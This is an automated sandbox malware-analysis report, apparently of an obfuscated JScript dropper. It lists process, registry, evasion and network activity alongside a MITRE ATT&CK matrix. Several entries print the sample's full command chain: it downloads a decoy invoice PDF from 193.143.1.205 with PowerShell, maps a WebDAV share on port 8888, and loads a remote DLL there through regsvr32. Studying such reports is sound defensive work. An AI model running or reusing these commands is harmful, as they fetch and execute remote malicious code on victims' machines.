Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8049.js.csv");ITextStream.WriteLine(" entry:2525 f:dcovgu");ITextStream.WriteLine(" exec:2 f:dcovgu");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22isobjt%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20zjkaiq%3Dthis%5Bhbluzzymf%2Bejqwwd%2Bkevxyqxw%2Bmxfjmf%2Bjzusyr%2Bysulyd%2Bnhraiqxt%2Bzzrapah%5D(this%5Bnalrki%2Bloqragse%2Boygprlav%2Bke");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5409			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5072	Thread sleep count: 4477 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5072	Thread sleep count: 5409 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6140	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1280	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 420	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5996	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2190078882.0000026C61F28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2190078882.0000026C61F88000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3433021337.000001BFF7A58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3430602938.000001BFF222B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
